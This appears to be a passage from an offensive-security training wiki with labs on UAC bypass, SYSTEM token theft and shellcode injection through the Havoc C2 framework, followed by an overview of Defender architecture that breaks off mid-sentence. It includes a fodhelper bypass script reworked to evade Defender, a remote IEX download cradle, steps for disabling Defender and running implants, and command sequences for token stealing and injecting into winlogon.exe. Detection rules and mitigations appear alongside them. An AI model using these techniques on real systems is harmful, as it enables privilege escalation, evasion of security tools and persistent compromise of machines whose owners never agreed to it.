In the new PowerShell prompt (running with student_adm) we ran following commands:

cd \THEV\Labs\UAC
import-module .\FodhelperBypass.ps1
FodhelperBypass -program "C:\THEV\Labs\DialogBox\x64\Release\DialogBox.exe"

And we're caught by Defender... but the bypass is simple!

image

You can find the script below under "C:\THEV\Labs\UAC\FodhelperBypass_Bypass.ps1".

function Execute {
    param (
        [String]$program = "C:\THEV\Labs\DialogBox\x64\Release\DialogBox.exe"
    )

    # Create registry structure
    New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force

    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value $program -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force

    # Execute 
    Start-Sleep -Seconds 10
    Start-Process -FilePath "c:\windows\system32\fodhelper.exe" -WindowStyle Hidden

    # Cleanup (wait and remove registry keys)
    Start-Sleep -Seconds 10
    Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}

What has changed?

  1. Function renamed to Execute
  2. Sleep before start-process (this is key!)
  3. Don't execute cmd.exe, powershell.exe etc.

We closed all your Powershell and Command line prompts and opened a fresh command prompt:

runas /user:student_adm powershell.exe

In the new Powershell prompt (running with student_adm) we run following one-liner, this is just another way of executing the script - we could also host the script remotely and use a download cradle "IEX (New-Object Net.WebClient).DownloadString("https://somewebserver.com/FodhelperBypass_Bypass.ps1"); Execute".

whoami /groups
IEX ([System.IO.File]::ReadAllText("C:\THEV\Labs\UAC\FodhelperBypass_Bypass.ps1")); Execute

1.6 DETECTION

SYSMON CONFIG:

<TargetObject name="MITRE_id=T1548.002,MITRE_name=UAC Fodhelper Bypass" condition="contains">\ms-settings\Shell\Open\command</TargetObject>

ELEX:

image

1.7 DETECTION AND MITIGATION

Detection

  • Monitor Registry Changes:
    • Look for creation or modification of HKCU\Software\Classes\ms-settings\Shell\Open\command using tools like Sysmon or EDR solutions.
  • Process Monitoring:
    • Detect fodhelper.exe spawning unexpected child processes (e.g., cmd.exe, powershell.exe) via EDR telemetry.
      • cmd.exe
      • powershell.exe
      • cscript.exe
      • wscript.exe
      • mshta.exe
      • schtasks.exe
      • reg.exe
      • regedit.exe
      • rundll32.exe
      • regsvr32.exe
      • pcalua.exe
      • python.exe
      • pythonw.exe
      • pwsh.exe
      • conhost.exe[0-16] --headless
  • Windows Defender Alerts:
    • Windows Defender may flag this activity, though renaming executables (e.g., copying cmd.exe to a different name) can evade detection.
  • Token Attributes:
    • Check for processes with LUA://HdAutoAp or LUA://DecHdAutoAp attributes, indicating auto-elevated applications or their descendants.

Mitigation

  • Set UAC to "Always Notify":
    • Configure UAC to the highest level to force prompts for all elevation requests, though this may impact user experience. - This will drive your users nuts!
  • Endpoint Security:
    • Use EDR solutions with custom rules to detect registry manipulation or suspicious fodhelper.exe activity.
  • Least Privilege:
    • Avoid running as an Administrator group member; use standard user accounts for daily tasks.
  • Patch and Update:
    • While Microsoft has not fully patched this bypass (as of 2025), keeping systems updated reduces the attack surface.
  • Registry Hardening:
    • Restrict write access to HKCU\Software\Classes for non-admin users, though this may break legitimate functionality.

1.9 LIMITATIONS AND RISKS

  • Limited to Administrators: Only works for users in the Administrators group, not standard users.
  • Antivirus Detection: Windows Defender and other AV solutions may detect and block the bypass, especially if not obfuscated. Renaming executables can mitigate this.
  • User Interaction: If UAC is set to "Always Notify", the bypass will not work without user interaction.

Here's a nice Fortinet article on the topic: https://www.fortinet.com/blog/threat-research/offense-and-defense-a-tale-of-two-sides-bypass-uac

1. LAB - UAC BYPASS

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later, for now let's focus on making sure we can escalate to the highest level of privileges (NT AUTHORITY\SYSTEM).

1.1 DISABLE WINDOWS DEFENDER

  • Check if Defender is turned ON by running the checkav.ps1 script:

image

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:
c:\thev\labs\powershell\av_check.ps1
  • If Defender is turned on - run the following script to turn it OFF:
c:\thev\labs\powershell\av_disable.ps1

1.2 ESTABLISH INITIAL FOOTHOLD

  • To start this lab, on your Windows machine, open a command prompt with Administrator privileges and run your demon.x64.exe with the Threatadmin account, or simply double-click the exe in your temp directory:
cd c:\temp\
demon.x64.exe

We have a beacon running as user Threatadmin in HIGH integrity - but not as SYSTEM yet (don't worry this also works from medium integrity). We can run the whoami command to confirm this.

screenshot

We can see here that the demon implant is running with:

  • user Threatadmin
  • Part of the local administrators group
  • in High integrity level

1.3 Load HAVOC UAC BYPASS MODULE

HAVOC EXTENSIONS: Havoc C2 is a modular framework, this means that you can extend it with your own tooling - for this lab we'll extend Havoc's functionality with some UAC bypasses in the form of BOFs (Beacon Object Files).

You might get some errors on one of the bypasses, but for the purposes of our lab these are not important.

image

  • First let's now load our new UAC Bypass Module in Havoc by clicking on SCRIPT MANAGER and locating the Havoc-UACBypass.py file, it's on your Kali machine in "/opt/Havoc/modules".

Screenshot

image

1.4 EXECUTE UAC BYPASS

  • Now let's interact with this beacon and run our UAC-Bypass, right-click on the session and select Interact:

Screenshot

  • In the new window, at the bottom, run your UAC bypass command - it will spawn a new demon implant (located in "C:\Temp\demon.x64.exe") running as SYSTEM:

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually. Or Remove any trailing spaces.

uac-bypass sspidatagram c:\temp\demon.x64.exe

Screenshot

  • A new demon implant will spawn, but now running with SYSTEM privileges as you can verify this by interacting with this new session and running the whoami command.

Screenshot

  • On your Windows machine, open System Informer (run as Administrator) we can see the 2 demon implants (verify the process IDs).

Screenshot

1.5 ALTERNATIVE: MEDIUM INTEGRITY BYPASS

  • To do the same attack but from an admin user running with MEDIUM integrity, on your Windows machine, open a command prompt with Administrator privileges:
runas /user:student_adm cmd.exe
  • Enter the password, and in the new command prompt you are now running as a regular user with medium integrity.

  • Run your demon.x64.exe from this new command prompt running as (COMPUTERNAME\student_adm):

cd \temp
demon.x64.exe

In our Havoc client we should now see a new session popping up, in medium integrity - you can verify this by interacting with this new session and running the whoami command. Run the same UAC bypass command as before:

uac-bypass sspidatagram c:\temp\demon.x64.exe

And you'll get a new session running as SYSTEM :)

1.6 DETECTIONS

References:

SYSMON Event ID 18 - Pipe Connected:

Pipe Connected:
RuleName: -
EventType: ConnectPipe
UtcTime: 2025-07-11 09:00:47.958
ProcessGuid: {4916439e-c22b-6870-eb03-000000000000}
ProcessId: 4
PipeName: \ntsvcs
Image: System
User: NT AUTHORITY\SYSTEM

SYSMON Event ID 1 - Process Creation

  • Image: C:\Windows\System32\cmd.exe
  • ParentImage: C:\Windows\System32\services.exe
  • IntegrityLevel: System
Process Create:
RuleName: -
UtcTime: 2025-07-11 09:37:12.673
ProcessGuid: {4916439e-db48-6870-4a02-000000004e00}
ProcessId: 7520
Image: C:\Windows\System32\cmd.exe
FileVersion: 10.0.19041.4355 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: cmd /c start c:\temp\demon.x64.exe

CurrentDirectory: C:\Windows\system32\
User: NT AUTHORITY\SYSTEM
LogonGuid: {4916439e-c258-6870-e703-000000000000}
LogonId: 0x3e7
TerminalSessionId: 0
IntegrityLevel: System
Hashes: SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18
ParentProcessGuid: {4916439e-c253-6870-0c00-000000004e00}
ParentProcessId: 760
ParentImage: C:\Windows\System32\services.exe
ParentCommandLine: C:\Windows\system32\services.exe
ParentUser: NT AUTHORITY\SYSTEM

image

SYSMON Event ID 12/13 - Create/Delete Registry Key:

  • EventType: CreateKey
  • Image: C:\Windows\system32\services.exe
  • User: NT AUTHORITY\SYSTEM
Registry object added or deleted:
RuleName: technique_id=T1134,technique_name=Access Token Manipulation: Token Impersonation/Theft
EventType: CreateKey
UtcTime: 2025-07-11 09:37:12.660
ProcessGuid: {4916439e-c253-6870-0c00-000000004e00}
ProcessId: 760
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\CreateSvcRpc_6449562
User: NT AUTHORITY\SYSTEM
registry.key:System\\CurrentControlSet\\Services\\CreateSvcRpc* and user.name:SYSTEM and process.name:services.exe

image

Windows Event ID 7045 - Service Creation

A service was installed in the system.

Service Name:  CreateSvcRpc_4264859
Service File Name:  cmd /c start c:\temp\demon.x64.exe

Service Type:  user mode service
Service Start Type:  demand start
Service Account:  LocalSystem

1.7 CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

  • In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

Screenshot Screenshot Screenshot

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

1. STEALING TOKENS

1.1 SUMMARY

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

1.2 MITRE

screenshot

Access Token Theft: Table Summary

CategoryDetails
ThreatAccess token theft for privilege escalation and impersonation of SYSTEM-level accounts
MITRE ATT&CKT1134 – Access Token Manipulation
Common APIs UsedOpenProcess(), OpenProcessToken(), ImpersonateLoggedOnUser(), DuplicateTokenEx(), CreateProcessWithTokenW()
Typical Target Processwinlogon.exe (commonly abused for SYSTEM token impersonation)
Alternative Targetsservices.exe, lsass.exe, smss.exe, csrss.exe
Why SYSTEM Tokens?SYSTEM retains powerful privileges (e.g., SeDebugPrivilege) even when restricted for local admins
Detection ChallengeOver-reliance on monitoring winlogon.exe can overlook token theft using other SYSTEM processes
Defensive Actions- Audit all SYSTEM processes
- Enforce least privilege
- Deploy security tooling
- Educate users

Access token theft is a critical attack vector in Windows environments, allowing adversaries to impersonate high-privilege accounts such as NT AUTHORITY\SYSTEM. This tactic is aligned with MITRE ATT&CK technique T1134 (Access Token Manipulation). While winlogon.exe is a common target, focusing only on it can limit detection capabilities.

screenshot

1.3 PRIMARY VS. IMPERSONATION TOKENS

The primary access token is the main token assigned to a process when it is created, defining the security context under which the process operates. It determines the privileges, group memberships, and security identifiers (SIDs) that the process inherits from the user or session initiating it.

In addition to the primary access token, a process or its threads can use other types of access tokens, most notably impersonation tokens. These tokens allow a process or thread to operate under a different security context than that of the primary access token.

An impersonation token is a temporary token assigned to a thread (or occasionally a process) to perform actions on behalf of another user or security context. Unlike the primary access token, impersonation tokens are typically used by threads rather than the entire process. Impersonation allows a process to act as another user or entity, often in client-server scenarios (e.g., a server process impersonating a client to access resources on their behalf).

1.4 STEALING ACCESS TOKENS

Attackers use several Windows API functions to steal and manipulate access tokens:

  • OpenProcess() – Opens a handle to a target process.
  • OpenProcessToken() – Retrieves the access token from the process.
  • ImpersonateLoggedOnUser() – Impersonates another user's security context.
  • DuplicateTokenEx() – Duplicates an existing token.
  • CreateProcessWithTokenW() – Launches a new process with a token.

These functions enable privilege escalation and lateral movement.

1.5 ELEVATING TO SYSTEM PRIVILEGES

Even if local admins have restricted privileges (e.g., no SeDebugPrivilege), SYSTEM processes retain them. By impersonating SYSTEM tokens, attackers bypass security restrictions and gain full system control.

1.6 DETECTION CHALLENGES

Most defenses focus on winlogon.exe as the source of SYSTEM tokens. This narrow focus can miss other viable SYSTEM processes that attackers may target. Broadening monitoring scope improves detection efficacy.

1.7 ALTERNATIVE SYSTEM PROCESSES

Other SYSTEM processes that can be targeted include:

  • services.exe – Manages system services.
  • lsass.exe – Handles authentication.
  • smss.exe – Session manager.
  • csrss.exe – Manages user-mode side of the Win32 subsystem.

Monitoring these increases resilience to token theft.

1.8 DEFENSIVE MEASURES

  • Audit SYSTEM Processes – Monitor for token misuse.
  • Enforce Least Privilege – Restrict unnecessary privileges.
  • Security Tools – Use tools that detect token-related anomalies.
  • User Education – Train users against phishing and social engineering.

By understanding access token theft techniques and expanding detection beyond winlogon.exe, defenders can significantly improve Windows environment security.

1.9 GET-TOKEN

The following Windows API calls can be used to steal and abuse access tokens: OpenProcess(), OpenProcessToken(), ImpersonateLoggedOnUser(), DuplicateTokenEx(), CreateProcessWithTokenW().

Screenshot

1.10 ADDITIONAL REFERENCES

1. LAB - TOKEN THEFT

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later in the training.

1.1 DISABLE WINDOWS DEFENDER

  • Check if Defender is turned ON by running the checkav.ps1 script:

image

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:
c:\thev\labs\powershell\av_check.ps1
  • If Defender is turned on - run the following script to turn it OFF:
c:\thev\labs\powershell\av_disable.ps1

1.2 OVERVIEW

In this lab we will demonstrate how an attacker can steal access tokens from processes running with SYSTEM privileges to escalate their privileges and impersonate the NT AUTHORITY/SYSTEM account. We will use two different tools to demonstrate this technique, Tokenvator and TokenPlayer. Finally we will use our Havoc C2 demon implant to steal a SYSTEM token and spawn a new process running with SYSTEM privileges.

Reference: https://specterops.io/wp-content/uploads/sites/3/2022/06/A_Process_is_No_One.pdf

MITIGATION: The SeDebugPrivilege can be removed from the local administrator group (by using Group policies) to make it harder for an attacker to dump credentials or interact with memory of other processes. However, privileges cannot be revoked from the SYSTEM account as they are necessary for the operating system to run. This makes SYSTEM access tokens extremely valuable for attackers in hardened environments.

PRIVILEGES NEEDED:

  1. High Integrity -> this is needed to access process running in HIGH integrity (i.e. NT AUTHORITY/SYSTEM)
  2. SeDebugPrivilege
  3. SeImpersonateUser
  4. AdjustTokenPrivileges

1.3 TOKEN THEFT WITH TOKENVATOR

Let's first find a process with SYSTEM privileges:

  • Open System Informer as Administrator and check for the PID (Process ID) of wininit.exe, this process always runs with SYSTEM privileges. Use the PID in the command line below - it will be different than the one shown in the screenshot (in the screenshot it's 664 but it will be different on your system)!

image

We can use Tokenvator to escalate from Threatadmin (high integrity) to SYSTEM (high integrity) by simply copying the token from our wininit.exe process and starting a new process (cmd.exe) with this SYSTEM token.

Reference: https://github.com/0xbadjuju/Tokenvator

  • On your Windows machine, open a command prompt with Administrator privileges, and use the PID of YOUR wininit.exe process:
cd c:\THEV\labs\TokenManipulation
Tokenvator.exe GetSystem /Process:664 /command:cmd.exe

image

1.4 TOKEN THEFT WITH TOKENPLAYER

A similar tool is TokenPlayer, it basically does the same thing.

  • Open System Informer as Administrator and check for the PID (Process ID) of wininit.exe, this process always runs with SYSTEM privileges. Use the PID in the command line below - it will be different than the one shown in the screenshot (in the below screenshot it's 592 but it will be different on your system)!

Screenshot

  • On your Windows machine, open a command prompt with Administrator privileges, and use the PID of YOUR wininit.exe process:
cd c:\THEV\labs\TokenManipulation
TokenPlayer-v0.8.exe --impersonate --pid 592 --prog cmd.exe

Reference: https://github.com/S1ckB0y1337/TokenPlayer

Screenshot

1.5 TOKEN THEFT WITH HAVOC C2

Let's see if we can use our HAVOC demon implant to escalate our privileges from Admin (we'll start with high integrity here as we have already demonstrated how we can get there) to NT AUTHORITY.

  • Now let's start a new demon implant running with Threatadmin, this will automatically spawn a new session in high integrity. On your Windows machine, open a command prompt with Administrator privileges and type the following:
whoami /groups
c:\temp\demon.x64.exe

Screenshot

We're going to use a simple powershell script that can enumerate the tokens of a process. We will use this to validate that our Havoc demon is only running with a primary access token (ThreatAdmin) and then after stealing the SYSTEM token we will validate that we now have an impersonation token (SYSTEM).

Get-Token.ps1 GITHUB: https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56

  • On your Windows machine, open a PowerShell prompt with Administrator privileges and use Get-Token.ps1, we can check which tokens our process has:
cd c:\THEV\labs\TokenManipulation
import-module .\Get-Token.ps1

IMPORTANT: Make sure to replace the PID in the command below with the PID of YOUR Havoc demon process (in the screenshot below it's 5808 but it will be different on your system):

$WarningPreference = 'SilentlyContinue'
get-token | Where-Object {$_.ProcessID -eq 5808} | Select-Object ProcessName, ProcessID, Username, Type, ImpersonationLevel, IntegrityLevel | Format-Table
$WarningPreference = 'Continue'

image

We can clearly see only a primary access token, which is ThreatAdmin's user.

  • We'll see a new session spawn in our Havoc GUI, let's interact with it using the TOKEN module and do a whoami to check our privileges:

Screenshot

  • We can use the "help token" command to see what we can do:

Available token commands:

  • token find
  • token steal PID HANDLE
  • token list
  • token revert
token find

Screenshot

  • Use the token steal command with the appropriate PID and HANDLE from the previous output:
token steal PID HANDLE

In the screenshot below, the whoami command now shows the user account = the workstation account (SYSTEM/NT AUTHORITY):

Screenshot

  • On your Windows machine, in the same PowerShell prompt use Get-Token.ps1 again, we can validate our process is now impersonating SYSTEM:

IMPORTANT: Make sure to replace the PID in the command below with the PID of YOUR Havoc demon process (in the screenshot below it's 5808 but it will be different on your system):

$WarningPreference = 'SilentlyContinue'
get-token | Where-Object {$_.ProcessID -eq 5808} | Select-Object ProcessName, ProcessID, Username, Type, ImpersonationLevel, IntegrityLevel | Format-Table
$WarningPreference = 'Continue'

The 2nd time we ran the command AFTER stealing the token - we can see the primary token is still the same but the impersonation token is NT AUTHORITY:

image

Now that our process is running with SYSTEM privileges (it will still show in the GUI as Threatadmin, PRIMARY ACCESS token) - every command or process we run will be executed with SYSTEM privileges (parent-child relationship, remember?).

  • Let's spawn a new Havoc demon using the payload already on disk. A new session will spawn but this time it shows the SYSTEM account in the demon:
shell c:\temp\demon.x64.exe

Screenshot

Finally before cleaning up let's revert our demon's session - running as ThreatAdmin (the top one) - token back to the original so it doesn't continue to run with SYSTEM privileges.

  • In Havoc select the original Havoc demon running with ThreatAdmin and interact with it:
token revert

1.6 CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

  • In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

Screenshot Screenshot Screenshot

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

1. LAB - PROCESS INJECTION

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later in the training.

1.1 DISABLE WINDOWS DEFENDER

  • Check if Defender is turned ON by running the checkav.ps1 script:

image

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:
c:\thev\labs\powershell\av_check.ps1
  • If Defender is turned on - run the following script to turn it OFF:
c:\thev\labs\powershell\av_disable.ps1

1.2 SUMMARY

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process (as shown in the animation below). Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

image

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated techniques may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

TLDR: We are only briefly touching on win32 api functions here, and process injection - this will come back later in the training in more detail. For now it's enough to understand the principle of code injection for the purpose of privilege elevation.

1.3 MITRE

Screenshot

  • Start a new demon implant running with Threatadmin, this will automatically spawn a new session in high integrity. On your Windows machine, open a command prompt with Administrator privileges and type the following:
whoami /groups
c:\temp\demon.x64.exe

On your Kali machine, in the Havoc GUI you should see a new session pop up, running with ThreatAdmin privileges and high integrity.

Screenshot

To inject a new Havoc demon shellcode into a process with system privileges, we need to do 3 things:

  • Generate a Havoc shellcode (more shellcode later)

  • Identify a running process running with NT AUTHORITY/SYSTEM privileges (Integrity level HIGH, same as our integrity level)

  • Inject our Havoc shellcode into that process

  • Remember to inject code into a process, your source process needs to run in at least the same or higher integrity as the target process - once you have an admin session in high integrity you can inject into a system process since they also run in high integrity (make sure SeDebugPrivilege is enabled).

1.4 GENERATE SHELLCODE

  • In the Havoc GUI, in the top menu bar go to Attack -> Payload. Select "Windows Shellcode" as format and put the Injection Alloc/Execute both to Win32 (just a vanilla payload), click Generate and wait a minute or so, then save this payload under "/opt/Havoc/payloads/demon.x64.bin".

image

1.5 IDENTIFY PROCESS

Havoc has a very nice GUI based process browser - let's use that:

  • In the Havoc GUI, select the session that just spwaned and right-click Explorer -> Process List.

image

We see lots of processes running with SYSTEM privileges - let's take WINLOGON (winlogon.exe), copy the PID (write it down somewhere) ,then go back and interact with your sessions and run the following command.

1.6 INJECT CODE

  • Interact with your current Havoc session (running with ThreatAdmin in high integrity) and enable SeDebugPrivilege first (this is needed to be able to inject into processes running with SYSTEM privilege), then inject the shellcode into the target process (winlogon.exe in this case).

Screenshot

  • First enable the SeDebugPrivilege by typing the following command:

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually.

token privs-get SeDebugPrivilege

image

  • And then inject the shellcode into the target process by runnning the following command, replacing <PID with System privs> with the PID you copied from the process explorer.:
shellcode inject x64 <PID with System privs> /opt/Havoc/payloads/demon.x64.bin

image

We see a new demon spawn, from within the winlogon process, running with NT AUTHORITY/SYSTEM privileges. We can verify this by running whoami in the new session:

  • Interact with the new session (the one spawned from winlogon):

Screenshot

  • And run the following command:
whoami

Screenshot

What just happened?

We successfully injected our Havoc shellcode into the winlogon process, which is running with NT AUTHORITY/SYSTEM privileges. This allows us to execute code with the highest level of privileges on the system. Our shellcode was executed in the context of the winlogon process, effectively elevating our privileges to SYSTEM level.

IMPORTANT: WINLOGON.exe is a critical system process, so before we go to clean up let's remove our injected shellcode from winlogon.exe - otherwise we might cause a BSOD (blue screen of death) when we try to terminate the process. To do this:

  • Right-Click on the winlogon session in Havoc, right-click "Exit-> THREAD" and finally "Remove".

Screenshot

We are terminating the injected thread only, not the whole process - killing the process could cause a BSOD, or system instability.

Now let's clean up the rest of our sessions.

1.7 CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

  • In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

Screenshot Screenshot Screenshot

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

1. WINDOWS DEFENDER / MDE (EDR)

TL;DR : This chapter explains how most AV/EDR's work - in this case we'll focus on Microsoft Defender (the AV part), MDE (Microsoft Defender for Endpoint) which is the EDR component that we'll deal with later on. Windows defender is the most widely used Antivirus and also one of the most targeted products seen in attacks in the wild it is ALSO pretty darn good!

image

This training focuses on user-level techniques to bypass Defender/MDE, and does not cover kernel-level techniques (like kernel driver hooking, DKOM, etc.) which are more complex and risky. Kernel level techniques require a signed driver, and are more likely to cause system instability or crashes. There are many known BYOVD (Bring Your Own Vulnerable Driver) techniques that can be used to load unsigned drivers, but these are outside the scope of this training.

That being said there are plenty of ways to bypass Defender/MDE without touching the kernel, and these are the techniques that will be covered in this training:

  • Making our code evasive to static analysis (obfuscation, packing, encryption)
  • Using living-off-the-land techniques (LOLbins, signed binaries, etc.)
  • Using fileless techniques (PowerShell, WMI, etc.)
  • Abusing trusted processes (process hollowing, DLL sideloading, etc.)
  • Abusing Defender/MDE weaknesses (disabling, tampering, etc.) - Tamper protection is enabled by default for enterprise customers with MDE (Defender for Endpoint), making this significantly more difficult. For standalone Microsoft Defender Antivirus installations, tamper protection can be manually configured through the Windows Security app.

Screenshot https://learn.microsoft.com/en-us/defender-endpoint/adv-tech-of-mdav

1.1 DEFENDER ARCHITECTURE

image

The MDA product is composed of modules running both in kernel and user mode. The overview is depicted in the figure above.

  • The first component which is loaded is the WdBoot.sys. This is the ELAM driver that checks the integrity of the system during the early stages of the system boot. It is loaded before any other third party driver and it scans each loaded driver image before its DriverEntry is invoked. For the detection it uses its own set of signatures that are stored on a special registry Value Key (HKLM\ELAM\Microsoft Antimalware Platform\Measured) which is not accessible after the ELAM driver is unloaded.

  • The Microsoft Defender Antivirus Service main responsibility is to start the main MDA executable, namely MsMpEng.exe . Such process is executed with EPROCESS.Protection equal to AntimalwareLight (0x31) thanks to the WdBoot certification. MsMpEng is a relatively small (approximately 300K) executable which loads the following bigger components that implement most of the logic:

    • MsRtp: it manages the Real-time protection
    • MpSvc: it loads and manages the main component MpEngine
    • MpEngine: is the biggest component (approximately 19 MB). It implements scanners, emulators, modules, signature loading from the VDM file and signature handling.
  • MpCmdRun is an external command line tool that uses the MpClient library to interact with the main service. MpClient is an auxiliary library that implements a bunch of RPC requests for the service (to get the configuration or to request a scan).

  • Last but not least, there is the WdFilter.sys, the main kernel space component of the MDA architecture. It monitors the access to the filesystem by registering as minifilter driver (think ETW events), it registers notification routines (image load, process creation, object access etc.) and more.

1.2 DIFFERENCES BETWEEN MICROSOFT DEFENDER ANTIVIRUS (MDA) AND MICROSOFT DEFENDER FOR ENDPOINT (MDE)

Screenshot

FeatureMicrosoft Defender Antivirus (MDA)Microsoft Defender for Endpoint (MDE)
Endpoint Detection and Response (EDR)Not availableProvides advanced EDR capabilities to detect, investigate, and respond to threats.
Threat and Vulnerability ManagementNot availableOffers comprehensive threat and vulnerability management to identify and remediate vulnerabilities.
Attack Surface Reduction (ASR)LimitedProvides extensive ASR rules to reduce the attack surface and prevent exploit techniques.
Automated Investigation and RemediationNot availableAutomatically investigates and remediates threats using AI and automation.
Advanced Threat HuntingNot availableOffers advanced threat hunting capabilities with detailed search queries and analytics.
Integration with Microsoft 365LimitedSeamlessly integrates with Microsoft 365 and other enterprise security solutions.
Sandboxing and DetonationLimited (local disabled/cloud)Uses sandboxing to analyze and detonate suspicious files in a controlled environment.
Behavioral Analytics and Anomaly DetectionBasicEmploys advanced behavioral analytics and anomaly detection to identify sophisticated threats.
Threat Intelligence and AnalyticsLimitedLeverages Microsoft's Threat Intelligence to provide real-time insights and analytics.
Centralized Management and ReportingBasicProvides centralized management, reporting, and alerting for enterprise environments.

1.3 MICROSOFT DEFENDER DETECTION AND PROTECTION ENGINES

Microsoft Defender incorporates multiple detection and protection engines, each with specific functions and complementary strengths. Below is an explanation and a comparative table based on official Microsoft documentation.

Overview of Defender Engines

  • Static (Signatures, ML):

    • Signature-based: Uses known virus definitions and hashes to rapidly identify known malware.
    • Machine Learning (ML): Employs lightweight models on the client and advanced models in the cloud to detect new/unknown threats by analyzing file characteristics and behaviors in milliseconds.
  • Emulation:

    • Executes suspicious files in a controlled, simulated environment (emulator) on the endpoint, allowing Defender to observe how the file behaves at runtime—useful for unpacking or exposing polymorphic and packed malware.
  • Sandboxing:

    • Suspicious files are "detonated" (executed) in an isolated virtual cloud environment. Defender observes resultant behaviors to detect malware that evades static and emulation detection. This layer is highly effective against sophisticated, targeted attacks and new threats.
  • Behavioral:

    • Monitors processes, user and system activity, memory, network connections, and command lines during execution. Behavioral engines detect threats based on actions (e.g., abnormal file encryption, privilege escalation, lateral movement) even if no static indicators exist.

Microsoft Defender Engine Comparison Table

Engine TypeCore FunctionDetection MethodTypical Use CasesStrengthsLimitations
Static (Signatures, ML)Identifies threats by matching known patterns (signatures, hashes) or by ML analysisPattern matching; ML model verdictsQuickly block known malware; first-look analysisRapid, effective for known and many unknown threatsCan be bypassed by novel/obfuscated threats
EmulationSimulates execution of suspicious files in a local emulatorDynamic runtime analysisUnpacking obfuscated or packed malwareExposes runtime behaviors even if statically hiddenLimited to emulatable/compatible formats
SandboxingExecutes files in an isolated cloud environment to observe real behaviorFull dynamic behavioral analysisDetecting evasive/targeted/new malwareSafely observes full attack chain; detects zero-daysHigher latency; resource intensive
BehavioralContinuously monitors for suspicious, malicious, or anomalous real-time activityRuntime and process tree analysisFileless malware, exploit detection, post-infectionDetects advanced and evolving threats, even unknownMay miss slow/stealthy threats; possible false positives

NOTE: Local sandboxing is by default turned OFF, more information on this in the article below - so your default Defender installation relies completely on the cloud for sandboxing. You can enable local sandboxing by using the command : setx /M MP_FORCE_USE_SANDBOX 1 (DON'T DO THIS IN THE TRAINING LAB - SERIOUS PERFORMANCE IMPACT). A reboot is required for these changes to take effect, expect a serious performance impact when enabling this. https://learn.microsoft.com/en-us/defender-endpoint/sandbox-mdav

Get-ChildItem -Path Env:MP_FORCE_USE_SANDBOX -ErrorAction SilentlyContinue

1.4 HOW MICROSOFT DEFENDER EMULATION WORKS

The emulation engine dynamically runs suspicious executable code inside a controlled, virtualized "emulator" environment on the endpoint.

It simulates the CPU instructions and basic operating system calls to unpack and reveal the true behavior of the malware payload without allowing it to run natively on the system.

The engine uses an advanced form of dynamic translation (lifting CPU instructions into a safe intermediate representation) for architectures like x86 (16, 32, 64-bit), ARM, and others.

During emulation, the engine monitors how the code behaves:

